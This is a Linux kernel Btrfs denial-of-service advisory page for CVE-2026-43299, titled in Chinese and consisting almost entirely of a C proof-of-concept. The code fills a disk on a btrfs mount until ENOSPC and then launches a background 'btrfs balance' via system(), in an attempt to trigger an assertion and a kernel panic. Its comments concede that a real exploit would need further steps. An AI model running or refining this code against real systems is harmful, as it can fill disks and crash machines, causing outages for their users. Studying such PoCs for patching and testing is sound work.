CVE-2026-43299 Linux内核Btrfs拒绝服务漏洞

/* * PoC for CVE-2026-43299 * This C code attempts to reproduce the race condition in btrfs. * It fills the disk to trigger ENOSPC and then attempts to induce * read repair operations, which may trigger the ASSERT() if the fs flips RO. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #define CHUNK_SIZE (4096 * 1024) // 4MB int main() { int fd; char *buffer; ssize_t ret; buffer = malloc(CHUNK_SIZE); if (!buffer) { perror("malloc"); return 1; } printf("[+] Opening target file on btrfs mount...\n"); fd = open("/mnt/btrfs/poc_testfile", O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); free(buffer); return 1; } printf("[+] Writing data to trigger ENOSPC...\n"); while (1) { ret = write(fd, buffer, CHUNK_SIZE); if (ret < 0) { if (errno == ENOSPC) { printf("[!] ENOSPC hit. Filesystem might flip RO now.\n"); break; } perror("write"); break; } } close(fd); // In a real exploit, one would need to trigger metadata operations // (like balance or snapshot) and corruption/repair simultaneously. printf("[+] Triggering metadata operations to stress the path...\n"); system("btrfs balance start -dusage=75 /mnt/btrfs 2>/dev/null &"); printf("[*] If conditions are met, kernel panic should occur in btrfs_repair_io_failure.\n"); free(buffer); return 0; }